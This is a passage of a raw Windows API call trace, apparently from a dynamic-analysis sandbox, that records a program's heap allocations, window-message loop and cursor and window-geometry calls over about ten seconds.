dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0085.195] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0085.195] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ac90 [0085.196] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0085.196] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ac90 [0085.196] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ac90 | out: hHeap=0x7f0000) returned 1 [0085.196] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x84ead0 | out: hHeap=0x7f0000) returned 1 [0085.196] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8004, wParam=0x0, lParam=0xf801eb, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0085.196] NtdllDefWindowProc_W () returned 0x0 [0085.196] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ab90 | out: hHeap=0x7f0000) returned 1 [0085.196] GetCurrentThreadId () returned 0xcd8 [0085.196] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.196] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.196] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.196] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.196] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.196] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.196] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.196] KillTimer (hWnd=0x60018, uIDEvent=0x1000) returned 1 [0085.196] GetCurrentThreadId () returned 0xcd8 [0085.196] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.224] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.224] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.224] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.562] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.562] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.562] GetCapture () returned 0x0 [0085.562] WindowFromPoint (Point=0x2a2) returned 0x60018 [0085.562] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.562] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0085.562] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0085.562] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0085.562] GetCurrentThreadId () returned 0xcd8 [0085.562] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0085.847] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0085.847] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0085.848] GetCapture () returned 0x0 [0085.848] WindowFromPoint (Point=0x2a2) returned 0x60018 [0085.848] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0085.848] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0085.848] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0085.848] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0085.848] GetCurrentThreadId () returned 0xcd8 [0085.848] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0086.160] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0086.160] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0086.160] GetCapture () returned 0x0 [0086.160] WindowFromPoint (Point=0x2a2) returned 0x60018 [0086.160] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0086.160] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0086.160] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0086.160] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0086.160] GetCurrentThreadId () returned 0xcd8 [0086.160] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0086.471] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0086.471] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0086.472] GetCapture () returned 0x0 [0086.472] WindowFromPoint (Point=0x2a2) returned 0x60018 [0086.472] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0086.472] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0086.472] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0086.472] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0086.472] GetCurrentThreadId () returned 0xcd8 [0086.472] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0086.783] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0086.783] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0086.784] GetCapture () returned 0x0 [0086.784] WindowFromPoint (Point=0x2a2) returned 0x60018 [0086.784] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0086.784] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0086.784] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0086.784] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0086.784] GetCurrentThreadId () returned 0xcd8 [0086.784] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0087.096] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0087.096] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0087.096] GetCapture () returned 0x0 [0087.096] WindowFromPoint (Point=0x2a2) returned 0x60018 [0087.096] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0087.096] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0087.096] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0087.096] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0087.096] GetCurrentThreadId () returned 0xcd8 [0087.096] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0087.407] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0087.407] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0087.408] GetCapture () returned 0x0 [0087.408] WindowFromPoint (Point=0x2a2) returned 0x60018 [0087.408] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0087.408] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0087.408] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0087.408] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0087.408] GetCurrentThreadId () returned 0xcd8 [0087.408] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0087.720] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0087.720] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0087.720] GetCapture () returned 0x0 [0087.720] WindowFromPoint (Point=0x2a2) returned 0x60018 [0087.720] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0087.720] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0087.720] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0087.720] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0087.720] GetCurrentThreadId () returned 0xcd8 [0087.720] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0088.031] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0088.031] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0088.032] GetCapture () returned 0x0 [0088.032] WindowFromPoint (Point=0x2a2) returned 0x60018 [0088.032] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0088.032] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0088.032] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0088.032] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0088.032] GetCurrentThreadId () returned 0xcd8 [0088.032] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0088.344] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0088.344] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0088.344] GetCapture () returned 0x0 [0088.344] WindowFromPoint (Point=0x2a2) returned 0x60018 [0088.344] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0088.344] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0088.344] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0088.344] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0088.344] GetCurrentThreadId () returned 0xcd8 [0088.344] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0088.655] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0088.655] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0088.656] GetCapture () returned 0x0 [0088.656] WindowFromPoint (Point=0x2a2) returned 0x60018 [0088.656] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0088.656] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0088.656] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0088.656] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0088.656] GetCurrentThreadId () returned 0xcd8 [0088.656] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0088.967] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0088.967] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0088.968] GetCapture () returned 0x0 [0088.968] WindowFromPoint (Point=0x2a2) returned 0x60018 [0088.968] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0088.968] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0088.968] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0088.968] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0088.968] GetCurrentThreadId () returned 0xcd8 [0088.968] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0089.280] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0089.280] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0089.280] GetCapture () returned 0x0 [0089.280] WindowFromPoint (Point=0x2a2) returned 0x60018 [0089.280] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0089.280] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0089.280] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0089.280] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0089.280] GetCurrentThreadId () returned 0xcd8 [0089.280] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0089.591] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0089.591] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0089.592] GetCapture () returned 0x0 [0089.592] WindowFromPoint (Point=0x2a2) returned 0x60018 [0089.592] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0089.592] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0089.592] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0089.592] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0089.592] GetCurrentThreadId () returned 0xcd8 [0089.592] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0089.904] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0089.904] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0089.904] GetCapture () returned 0x0 [0089.904] WindowFromPoint (Point=0x2a2) returned 0x60018 [0089.904] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0089.904] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0089.904] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0089.904] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0089.904] GetCurrentThreadId () returned 0xcd8 [0089.904] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0090.215] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0090.215] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0090.216] GetCapture () returned 0x0 [0090.216] WindowFromPoint (Point=0x2a2) returned 0x60018 [0090.216] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0090.216] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0090.216] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0090.216] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0090.216] GetCurrentThreadId () returned 0xcd8 [0090.216] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0090.527] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0090.527] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0090.528] GetCapture () returned 0x0 [0090.528] WindowFromPoint (Point=0x2a2) returned 0x60018 [0090.528] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0090.528] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0090.528] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0090.528] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0090.528] GetCurrentThreadId () returned 0xcd8 [0090.528] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0090.840] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0090.840] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0090.840] GetCapture () returned 0x0 [0090.840] WindowFromPoint (Point=0x2a2) returned 0x60018 [0090.840] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0090.840] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0090.840] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0090.840] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0090.840] GetCurrentThreadId () returned 0xcd8 [0090.840] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0091.152] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0091.152] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0091.152] GetCapture () returned 0x0 [0091.152] WindowFromPoint (Point=0x2a2) returned 0x60018 [0091.152] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0091.152] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0091.152] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0091.152] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0091.152] GetCurrentThreadId () returned 0xcd8 [0091.152] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0091.464] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0091.464] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0091.464] GetCapture () returned 0x0 [0091.464] WindowFromPoint (Point=0x2a2) returned 0x60018 [0091.464] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0091.464] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0091.464] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0091.464] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0091.464] GetCurrentThreadId () returned 0xcd8 [0091.464] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0091.776] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0091.776] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0091.776] GetCapture () returned 0x0 [0091.776] WindowFromPoint (Point=0x2a2) returned 0x60018 [0091.776] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0091.776] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0091.776] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0091.776] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0091.776] GetCurrentThreadId () returned 0xcd8 [0091.776] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0092.087] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0092.088] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0092.088] GetCapture () returned 0x0 [0092.088] WindowFromPoint (Point=0x2a2) returned 0x60018 [0092.088] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0092.088] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0092.088] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0092.088] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0092.088] GetCurrentThreadId () returned 0xcd8 [0092.088] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0092.399] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0092.399] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0092.400] GetCapture () returned 0x0 [0092.400] WindowFromPoint (Point=0x2a2) returned 0x60018 [0092.400] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0092.400] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0092.400] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0092.400] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0092.400] GetCurrentThreadId () returned 0xcd8 [0092.400] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0092.712] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0092.712] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0092.712] GetCapture () returned 0x0 [0092.712] WindowFromPoint (Point=0x2a2) returned 0x60018 [0092.712] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0092.712] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0092.712] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0092.712] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0092.712] GetCurrentThreadId () returned 0xcd8 [0092.712] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0093.024] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0093.024] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0093.024] GetCapture () returned 0x0 [0093.024] WindowFromPoint (Point=0x2a2) returned 0x60018 [0093.024] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0093.024] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0093.024] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0093.024] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0093.024] GetCurrentThreadId () returned 0xcd8 [0093.024] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0093.335] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0093.335] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0093.336] GetCapture () returned 0x0 [0093.336] WindowFromPoint (Point=0x2a2) returned 0x60018 [0093.336] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0093.336] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0093.336] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0093.336] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0093.336] GetCurrentThreadId () returned 0xcd8 [0093.336] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0093.648] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0093.648] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0093.648] GetCapture () returned 0x0 [0093.648] WindowFromPoint (Point=0x2a2) returned 0x60018 [0093.648] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0093.648] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0093.648] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0093.648] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0093.648] GetCurrentThreadId () returned 0xcd8 [0093.648] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0093.960] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0093.960] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0093.960] GetCapture () returned 0x0 [0093.960] WindowFromPoint (Point=0x2a2) returned 0x60018 [0093.960] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0093.960] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0093.960] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0093.960] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0093.960] GetCurrentThreadId () returned 0xcd8 [0093.960] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0094.271] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0094.271] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0094.272] GetCapture () returned 0x0 [0094.272] WindowFromPoint (Point=0x2a2) returned 0x60018 [0094.272] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0094.272] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0094.272] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0094.272] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0094.272] GetCurrentThreadId () returned 0xcd8 [0094.272] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0094.583] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0094.584] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0094.584] GetCapture () returned 0x0 [0094.584] WindowFromPoint (Point=0x2a2) returned 0x60018 [0094.584] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0094.584] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0094.584] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0094.584] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0094.584] GetCurrentThreadId () returned 0xcd8 [0094.584] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0094.895] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0094.896] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0094.896] GetCapture () returned 0x0 [0094.896] WindowFromPoint (Point=0x2a2) returned 0x60018 [0094.896] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0094.896] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0094.896] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0094.896] PtInRect (lprc=0x30f390, pt=0x1eb) returned 1 [0094.896] GetCurrentThreadId () returned 0xcd8 [0094.896] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0094.992] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0094.992] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0094.992] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0094.992] PtInRect (lprc=0x30f570, pt=0xca) returned 1 [0094.993] GetCurrentThreadId () returned 0xcd8 [0094.993] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0094.993] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0094.993] GetMessageTime () returned 223268 [0094.993] GetMessagePos () returned 0x1c502a2 [0094.993] GetCapture () returned 0x0 [0094.993] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: 